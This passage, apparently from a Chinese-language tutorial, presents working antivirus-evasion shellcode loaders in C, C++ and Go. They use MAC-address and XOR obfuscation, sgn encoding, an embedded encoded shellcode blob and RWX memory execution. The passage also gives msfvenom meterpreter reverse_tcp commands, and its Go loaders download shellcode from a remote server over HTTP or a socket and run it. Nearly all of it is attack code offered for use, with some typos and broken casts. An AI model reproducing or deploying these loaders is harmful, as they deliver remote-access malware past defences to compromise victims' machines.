print(f"#define SizeOfShellcode {len(padded)}")
if __name__ == "__main__":
main()
- shellcode
C++
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// 伪装 shellcode,每段 6 字节
const char* MACShell[] = {
//自己的payload
};
#define ElementsNumber 149
#define SizeOfShellcode 894
unsigned char xor_key[] = { 'k','u','n' };
const int key_len = sizeof(xor_key);
// 解码 MAC 表达的 shellcode(密文)
BOOL DecodeMACFuscation(const char* MAC[], PVOID LpBaseAddress) {
PCSTR Terminator = NULL;
NTSTATUS STATUS;
int offset = 0;
for (int i = 0; i < ElementsNumber; i++) {
PVOID dest = (PVOID)((ULONG_PTR)LpBaseAddress + offset);
STATUS = RtlEthernetStringToAddressA(MAC[i], &Terminator, (DL_EUI48*)dest);
if (!NT_SUCCESS(STATUS)) {
printf("[!] Failed to decode: %s (Status: 0x%X)\n", MAC[i], STATUS);
return FALSE;
}
offset += 6;
}
return TRUE;
}
// XOR 解密(在 trampoline 内调用)
void XorDecrypt(PBYTE buffer, SIZE_T size) {
for (SIZE_T i = 0; i < size; ++i) {
buffer[i] ^= xor_key[i % key_len];
}
}
// 跳板线程函数:解密 → 调用 → 清除
DWORD WINAPI ShellcodeRunner(LPVOID lpParam) {
struct Args {
PBYTE buffer;
SIZE_T size;
};
Args* args = (Args*)lpParam;
PBYTE code = args->buffer;
SIZE_T size = args->size;
XorDecrypt(code, size);
((void(*)())code)();
SecureZeroMemory(code, size);
return 0;
}
int main() {
// 分配内存
PBYTE shellcodeMem = (PBYTE)VirtualAlloc(NULL, SizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcodeMem) {
printf("[!] VirtualAlloc failed: %d\n", GetLastError());
return -1;
}
// 解码 MACShell → 写入内存
if (!DecodeMACFuscation(MACShell, shellcodeMem)) return -1;
// 封装参数
struct Args {
PBYTE buffer;
SIZE_T size;
} *args = new Args{ shellcodeMem, SizeOfShellcode };
// 启动 trampoline 线程
HANDLE hThread = CreateThread(NULL, 0, ShellcodeRunner, args, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFree(shellcodeMem, 0, MEM_RELEASE);
delete args;
return 0;
}
- golang
package main
import (
"syscall"
"unsafe"
"fmt"
"strings"
)
// ==============================
// 配置区
// ==============================
const (
ElementsNumber = 149
SizeOfShellcode = 894
)
// 替换为你的 MAC 地址 payload
var MACShell = []string{
// 示例(请替换):
// "AA:BB:CC:DD:EE:FF",
// "11:22:33:44:55:66",
// ...
// 共 149 个
}
var xorKey = []byte{'k', 'u', 'n'}
// ==============================
// Windows API 导入
// ==============================
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
procVirtualFree = kernel32.NewProc("VirtualFree")
procCreateThread = kernel32.NewProc("CreateThread")
procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")
procSecureZeroMemory = kernel32.NewProc("RtlSecureZeroMemory")
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
INFINITE = 0xFFFFFFFF
)
// ==============================
// 工具函数:模拟 RtlEthernetStringToAddressA
// ==============================
// 将 MAC 字符串(如 AA:BB:CC:DD:EE:FF)转为 6 字节
func parseMAC(macStr string) ([]byte, bool) {
macStr = strings.TrimSpace(macStr)
parts := strings.Split(macStr, ":")
if len(parts) != 6 {
return nil, false
}
var addr [6]byte
for i, part := range parts {
if len(part) != 2 {
return nil, false
}
b1, err1 := hexChar(part[0])
b2, err2 := hexChar(part[1])
if err1 != nil || err2 != nil {
return nil, false
}
addr[i] = (b1 << 4) | b2
}
return addr[:], true
}
// 十六进制字符转数值
func hexChar(c byte) (byte, error) {
switch {
case c >= '0' && c <= '9':
return c - '0', nil
case c >= 'a' && c <= 'f':
return c - 'a' + 10, nil
case c >= 'A' && c <= 'F':
return c - 'A' + 10, nil
default:
return 0, fmt.Errorf("invalid hex")
}
}
// ==============================
// 解码 MAC 混淆 shellcode
// ==============================
func DecodeMACFuscation(macList []string, output []byte) bool {
if len(output) < SizeOfShellcode {
return false
}
offset := 0
for i, mac := range macList {
if i >= ElementsNumber {
break
}
bytes, ok := parseMAC(mac)
if !ok {
fmt.Printf("[!] Failed to decode MAC: %s\n", mac)
return false
}
copy(output[offset:], bytes)
offset += 6
}
return true
}
// ==============================
// XOR 解密
// ==============================
func xorDecrypt(data []byte, key []byte) {
for i := range data {
data[i] ^= key[i%len(key)]
}
}
// ==============================
// 安全清零内存
// ==============================
func secureZeroMemory(ptr unsafe.Pointer, size uintptr) {
if ptr == nil {
return
}
slice := unsafe.Slice((*byte)(ptr), size)
for i := range slice {
slice[i] = 0
}
}
// ==============================
// 跳板线程模拟:解密 → 执行 → 清理
// ==============================
func shellcodeRunner(shellcodePtr unsafe.Pointer, size int) {
shellcode := unsafe.Slice((*byte)(shellcodePtr), size)
// 1) XOR 解密
xorDecrypt(shellcode, xorKey)
// 2) 转为函数并执行
fn := *(*func())(unsafe.Pointer(&shellcodePtr))
fn()
// 3) 清理
secureZeroMemory(shellcodePtr, uintptr(size))
}
// ==============================
// 主函数
// ==============================
func main() {
// 1. 分配 RWX 内存
virAlloc, _, err := procVirtualAlloc.Call(
0,
SizeOfShellcode,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
)
if virAlloc == 0 {
fmt.Printf("[!] VirtualAlloc failed\n")
return
}
baseAddr := unsafe.Pointer(virAlloc)
// 创建切片访问内存
buffer := unsafe.Slice((*byte)(baseAddr), SizeOfShellcode)
// 2. 解码 MAC 混淆数据
if !DecodeMACFuscation(MACShell, buffer) {
fmt.Printf("[!] MAC 解码失败\n")
procVirtualFree.Call(virAlloc, 0, 0x8000) // MEM_RELEASE
return
}
fmt.Printf("[+] MAC 解码完成 (%d 字节)\n", SizeOfShellcode)
// 3. 创建线程执行跳板(模拟 C++ 的 ShellcodeRunner)
hThread, _, err := procCreateThread.Call(
0, // lpThreadAttributes
0, // dwStackSize
virAlloc, // lpStartAddress (跳板入口)
uintptr(unsafe.Pointer(&baseAddr)), // lpParameter (传入 shellcode 地址)
0, // dwCreationFlags
0, // lpThreadId
)
if hThread == 0 {
fmt.Printf("[!] CreateThread failed\n")
procVirtualFree.Call(virAlloc, 0, 0x8000)
return
}
fmt.Printf("[+] Shellcode 执行中...\n")
procWaitForSingleObject.Call(hThread, INFINITE)
// 4. 清理
secureZeroMemory(baseAddr, SizeOfShellcode)
procVirtualFree.Call(virAlloc, 0, 0x8000) // MEM_RELEASE
fmt.Printf("[*] 执行完成并清理\n")
}
sgn混淆¶
sgn是一个二进制编码器,免杀效果还不错,他混淆过后的shellcode是可以直接运行,不用解密的。
github地址:https://github.com/EgeBalci/sgn
先把shellcode生成出来,用下面代码转换成bin文件
#include <stdio.h>
unsigned char buf[] = "";
void main()
{
FILE* fp = fopen("D:\\bypassav\\beacon\\c_bin.bin","wb");
fwrite(buf,sizeof(buf),1,fp);
fclose(fp);
}
使用sgn混淆后


把bin文件的十六进制文件复制到一个txt文件,并用notepad或者python处理成这种格式

也就是把\x替换掉和换行替换掉
C shellcode loader¶
指针执行¶
#include <iostream>
#include <Windows.h>
// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")
// shellcode
unsigned char buf[] =
{
};
int main()
{
// 将hexData转换为函数指针并执行
((void(*)(void)) & buf)();
return 0;
}
这是最基础的shellcode loader,将shellcode替换到代码中
#include <iostream>
#include <Windows.h>
// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")
// shellcode
unsigned char buf[] =
"\xb8\xaa\x43\x23\x10\xdb\xc8\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x59\x83\xc5\x04\x31\x45\x10\x03\x45\x10\x48\xb6\xdf"
"\xf8\x03\x39\x20\xf9\x7b\x0b\xf2\x70\x9e\x0f\x79\xd0\x50"
"\x5b\x2f\xd9\x1b\x09\xc4\x6a\x69\x86\xeb\xdb\xc7\xf0\xc2"
"\xdc\xe6\x3c\x88\x1f\x69\xc1\xd3\x73\x49\xf8\x1b\x86\x88"
"\x3d\xea\xec\x65\x93\xba\x85\x2b\x04\xce\xd8\xf7\x25\x00"
"\x57\x47\x5e\x25\xa8\x33\xd2\x24\xf9\x30\xa2\x3e\x72\x1e"
"\x13\x6f\x85\x4d\xd6\x46\xf1\x4d\x90\xd3\xce\x26\x23\x32"
"\x1f\xc7\x15\x7a\xa1\xf8\x5b\xd6\x23\xc1\x5c\xc6\x51\x39"
"\x9f\x7b\x62\xfa\xdd\xa7\xe7\x1c\x45\x23\x5f\xf8\x77\xe0"
"\x06\x8b\x74\x4d\x4c\xd3\x98\x50\x81\x68\xa4\xd9\x24\xbe"
"\x2c\x99\x02\x1a\x74\x79\x2a\x3b\xd0\x2c\x53\x5b\xbc\x91"
"\xf1\x10\x2f\xc7\x86\xd9\xaf\xe8\xda\x4d\x63\x25\xe5\x8d"
"\xeb\x3e\x96\xbf\xb4\x94\x30\xf3\x3d\x33\xc6\x82\x2a\xc4"
"\x18\x2c\x3a\x3a\x99\x4c\x12\xf9\xcd\x1c\x0c\x28\x6e\xf7"
"\xcc\xd5\xbb\x6d\xc7\x41\xe8\x67\xad\x8d\x98\x85\x51\xa7"
"\x45\x00\xb7\xe7\x25\x42\x68\x48\x96\x22\xd8\x20\xfc\xad"
"\x07\x50\xff\x64\x20\xfb\x10\xd0\x18\x94\x89\x79\xd2\x05"
"\x55\x54\x9e\x06\xdd\x5c\x5e\xc8\x16\x15\x4c\x3d\x41\xd5"
"\x8c\xbe\xe4\xd5\xe6\xba\xae\x82\x9e\xc0\x97\xe4\x00\x3a"
"\xf2\x77\x46\xc4\x83\x41\x3c\xf3\x11\xed\x2a\xfc\xf5\xed"
"\xaa\xaa\x9f\xed\xc2\x0a\xc4\xbe\xf7\x54\xd1\xd3\xab\xc0"
"\xda\x85\x18\x42\xb3\x2b\x46\xa4\x1c\xd4\xad\xb6\x5b\x2a"
"\x33\x91\xc3\x42\xcb\xa1\xf3\x92\xa1\x21\xa4\xfa\x3e\x0d"
"\x4b\xca\xbf\x84\x04\x42\x35\x49\xe6\xf3\x4a\x40\xa6\xad"
"\x4b\x67\x73\x5e\x31\x08\x84\x9f\xc6\x00\xe1\xa0\xc6\x2c"
"\x17\x9d\x10\x15\x6d\xe0\xa0\x22\x7e\x57\x84\x03\x15\x97"
"\x9a\x54\x3c";
int main()
{
// 将hexData转换为函数指针并执行
((void(*)(void)) & buf)();
return 0;
}
在某些情况下可能会反弹不到msf,原因如下:
当代的windows(64位的)都有一个叫做DEP数据执行保护的安全机制,在编写此类的loader时需要手动修改他,可以使用VirtualProtect
BOOL VirtualProtect(
LPVOID lpAddress, // 指向要修改的内存区域的起始地址
SIZE_T dwSize, // 需要修改的内存区域大小,以字节为单位
DWORD flNewProtect, // 新的保护属性(如只读、读写、可执行等)
PDWORD lpflOldProtect // 保存旧的保护属性的指针
);
int main()
{
VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL);
// 将hexData转换为函数指针并执行
((void(*)(void)) & hexData)();
return 0;
}
#include <iostream>
#include <Windows.h>
// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")
// shellcode
unsigned char buf[] =
"\xb8\xaa\x43\x23\x10\xdb\xc8\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x59\x83\xc5\x04\x31\x45\x10\x03\x45\x10\x48\xb6\xdf"
"\xf8\x03\x39\x20\xf9\x7b\x0b\xf2\x70\x9e\x0f\x79\xd0\x50"
"\x5b\x2f\xd9\x1b\x09\xc4\x6a\x69\x86\xeb\xdb\xc7\xf0\xc2"
"\xdc\xe6\x3c\x88\x1f\x69\xc1\xd3\x73\x49\xf8\x1b\x86\x88"
"\x3d\xea\xec\x65\x93\xba\x85\x2b\x04\xce\xd8\xf7\x25\x00"
"\x57\x47\x5e\x25\xa8\x33\xd2\x24\xf9\x30\xa2\x3e\x72\x1e"
"\x13\x6f\x85\x4d\xd6\x46\xf1\x4d\x90\xd3\xce\x26\x23\x32"
"\x1f\xc7\x15\x7a\xa1\xf8\x5b\xd6\x23\xc1\x5c\xc6\x51\x39"
"\x9f\x7b\x62\xfa\xdd\xa7\xe7\x1c\x45\x23\x5f\xf8\x77\xe0"
"\x06\x8b\x74\x4d\x4c\xd3\x98\x50\x81\x68\xa4\xd9\x24\xbe"
"\x2c\x99\x02\x1a\x74\x79\x2a\x3b\xd0\x2c\x53\x5b\xbc\x91"
"\xf1\x10\x2f\xc7\x86\xd9\xaf\xe8\xda\x4d\x63\x25\xe5\x8d"
"\xeb\x3e\x96\xbf\xb4\x94\x30\xf3\x3d\x33\xc6\x82\x2a\xc4"
"\x18\x2c\x3a\x3a\x99\x4c\x12\xf9\xcd\x1c\x0c\x28\x6e\xf7"
"\xcc\xd5\xbb\x6d\xc7\x41\xe8\x67\xad\x8d\x98\x85\x51\xa7"
"\x45\x00\xb7\xe7\x25\x42\x68\x48\x96\x22\xd8\x20\xfc\xad"
"\x07\x50\xff\x64\x20\xfb\x10\xd0\x18\x94\x89\x79\xd2\x05"
"\x55\x54\x9e\x06\xdd\x5c\x5e\xc8\x16\x15\x4c\x3d\x41\xd5"
"\x8c\xbe\xe4\xd5\xe6\xba\xae\x82\x9e\xc0\x97\xe4\x00\x3a"
"\xf2\x77\x46\xc4\x83\x41\x3c\xf3\x11\xed\x2a\xfc\xf5\xed"
"\xaa\xaa\x9f\xed\xc2\x0a\xc4\xbe\xf7\x54\xd1\xd3\xab\xc0"
"\xda\x85\x18\x42\xb3\x2b\x46\xa4\x1c\xd4\xad\xb6\x5b\x2a"
"\x33\x91\xc3\x42\xcb\xa1\xf3\x92\xa1\x21\xa4\xfa\x3e\x0d"
"\x4b\xca\xbf\x84\x04\x42\x35\x49\xe6\xf3\x4a\x40\xa6\xad"
"\x4b\x67\x73\x5e\x31\x08\x84\x9f\xc6\x00\xe1\xa0\xc6\x2c"
"\x17\x9d\x10\x15\x6d\xe0\xa0\x22\x7e\x57\x84\x03\x15\x97"
"\x9a\x54\x3c";
BOOL VirtualProtect(
LPVOID lpAddress, // 指向要修改的内存区域的起始地址
SIZE_T dwSize, // 需要修改的内存区域大小,以字节为单位
DWORD flNewProtect, // 新的保护属性(如只读、读写、可执行等)
PDWORD lpflOldProtect // 保存旧的保护属性的指针
);
int main()
{
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL);
// 将hexData转换为函数指针并执行
((void(*)(void)) & buf)();
return 0;
}

动态分配¶
#include <stdio.h>
#include <windows.h>
unsigned char buf[] =
"\xb8\xaa\x43\x23\x10\xdb\xc8\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x59\x83\xc5\x04\x31\x45\x10\x03\x45\x10\x48\xb6\xdf"
"\xf8\x03\x39\x20\xf9\x7b\x0b\xf2\x70\x9e\x0f\x79\xd0\x50"
"\x5b\x2f\xd9\x1b\x09\xc4\x6a\x69\x86\xeb\xdb\xc7\xf0\xc2"
"\xdc\xe6\x3c\x88\x1f\x69\xc1\xd3\x73\x49\xf8\x1b\x86\x88"
"\x3d\xea\xec\x65\x93\xba\x85\x2b\x04\xce\xd8\xf7\x25\x00"
"\x57\x47\x5e\x25\xa8\x33\xd2\x24\xf9\x30\xa2\x3e\x72\x1e"
"\x13\x6f\x85\x4d\xd6\x46\xf1\x4d\x90\xd3\xce\x26\x23\x32"
"\x1f\xc7\x15\x7a\xa1\xf8\x5b\xd6\x23\xc1\x5c\xc6\x51\x39"
"\x9f\x7b\x62\xfa\xdd\xa7\xe7\x1c\x45\x23\x5f\xf8\x77\xe0"
"\x06\x8b\x74\x4d\x4c\xd3\x98\x50\x81\x68\xa4\xd9\x24\xbe"
"\x2c\x99\x02\x1a\x74\x79\x2a\x3b\xd0\x2c\x53\x5b\xbc\x91"
"\xf1\x10\x2f\xc7\x86\xd9\xaf\xe8\xda\x4d\x63\x25\xe5\x8d"
"\xeb\x3e\x96\xbf\xb4\x94\x30\xf3\x3d\x33\xc6\x82\x2a\xc4"
"\x18\x2c\x3a\x3a\x99\x4c\x12\xf9\xcd\x1c\x0c\x28\x6e\xf7"
"\xcc\xd5\xbb\x6d\xc7\x41\xe8\x67\xad\x8d\x98\x85\x51\xa7"
"\x45\x00\xb7\xe7\x25\x42\x68\x48\x96\x22\xd8\x20\xfc\xad"
"\x07\x50\xff\x64\x20\xfb\x10\xd0\x18\x94\x89\x79\xd2\x05"
"\x55\x54\x9e\x06\xdd\x5c\x5e\xc8\x16\x15\x4c\x3d\x41\xd5"
"\x8c\xbe\xe4\xd5\xe6\xba\xae\x82\x9e\xc0\x97\xe4\x00\x3a"
"\xf2\x77\x46\xc4\x83\x41\x3c\xf3\x11\xed\x2a\xfc\xf5\xed"
"\xaa\xaa\x9f\xed\xc2\x0a\xc4\xbe\xf7\x54\xd1\xd3\xab\xc0"
"\xda\x85\x18\x42\xb3\x2b\x46\xa4\x1c\xd4\xad\xb6\x5b\x2a"
"\x33\x91\xc3\x42\xcb\xa1\xf3\x92\xa1\x21\xa4\xfa\x3e\x0d"
"\x4b\xca\xbf\x84\x04\x42\x35\x49\xe6\xf3\x4a\x40\xa6\xad"
"\x4b\x67\x73\x5e\x31\x08\x84\x9f\xc6\x00\xe1\xa0\xc6\x2c"
"\x17\x9d\x10\x15\x6d\xe0\xa0\x22\x7e\x57\x84\x03\x15\x97"
"\x9a\x54\x3c";
int main()
{
PVOID Memory;
Memory = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
//动态分配虚地址空间
memcpy(Memory,shellcod,sizeof(shellcode));
//复制内存内容
((void(*)())Memory)();
}

可以看到成功反弹到msf
Golang shellcode loader¶
shellcode分离加载¶
通过文件加载¶
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<ip> lport=<port> PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=test -f raw -o shellcode_raw.txt
# hex
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<ip> lport=<port> PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=test -f hex -o shellcode_hex.txt
这里以shellcode_hex.txt为例
package main
import (
"encoding/hex"
"fmt"
"os"
"syscall"
"golang.org/x/sys/windows"
"unsafe"
)
func main() {
// Read the shellcode from the file
data, err := os.ReadFile("shellcode_hex.txt")
if err != nil {
fmt.Println("Error reading file:", err)
return
}
// Decode the hex string to bytes
shellcode, err := hex.DecodeString(string(data))
if err != nil {
fmt.Println("Error decoding hex string:", err)
return
}
// Allocate memory for the shellcode
addr, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if err != nil {
fmt.Println("Error allocating memory:", err)
return
}
// Copy the shellcode to the allocated memory
copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(shellcode)], shellcode)
// Create a function pointer to the shellcode
shellcodeFunc := unsafe.Pointer(addr)
syscall.SyscallN(uintptr(shellcodeFunc), 0, 0, 0, 0)
}

通过VPS加载¶
http加载¶
package main
import (
"encoding/hex"
"fmt"
"io"
"net/http"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
// type your vps ip
remote_shellcode := "http://xxxx/shellcode_hex.txt"
// Read the shellcode from the remote server
resp, err := http.Get(remote_shellcode)
if err != nil {
fmt.Println("Error fetching file:", err)
return
}
defer resp.Body.Close()
data, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response body:", err)
return
}
// Decode the hex string to bytes
shellcode, err := hex.DecodeString(string(data))
if err != nil {
fmt.Println("Error decoding hex string:", err)
return
}
// Allocate memory for the shellcode
addr, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if err != nil {
fmt.Println("Error allocating memory:", err)
return
}
// Copy the shellcode to the allocated memory
copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(shellcode)], shellcode)
// Create a function pointer to the shellcode
shellcodeFunc := unsafe.Pointer(addr)
syscall.SyscallN(uintptr(shellcodeFunc), 0, 0, 0, 0)
}

socket加载¶
package main
import (
"bytes"
"encoding/hex"
"fmt"
"io"
"net"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
# type your vps ip and port
serverAddress := "x.x.x.x:xxx"
// Connect to the server using a socket
conn, err := net.Dial("tcp", serverAddress)
if err != nil {
fmt.Println("Error connecting to server:", err)
return
}
defer conn.Close()
// Request the shellcode file
_, err = conn.Write([]byte("GET /shellcode_hex.txt HTTP/1.1\r\nHost: 47.108.171.108\r\n\r\n"))
if err != nil {
fmt.Println("Error sending request:", err)
return
}
// Read the response
data, err := io.ReadAll(conn)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
// Extract the body from the HTTP response
bodyStart := bytes.Index(data, []byte("\r\n\r\n")) + 4
if bodyStart == -1 {
fmt.Println("Invalid HTTP response")
return
}
body := data[bodyStart:]
// Decode the hex string to bytes
shellcode, err := hex.DecodeString(string(body))
if err != nil {
fmt.Println("Error decoding hex string:", err)
return
}
// Allocate memory for the shellcode
addr, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if err != nil {
fmt.Println("Error allocating memory:", err)
return
}
// Copy the shellcode to the allocated memory
copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(shellcode)], shellcode)
// Create a function pointer to the shellcode
shellcodeFunc := unsafe.Pointer(addr)
syscall.SyscallN(uintptr(shellcodeFunc), 0, 0, 0, 0)
}
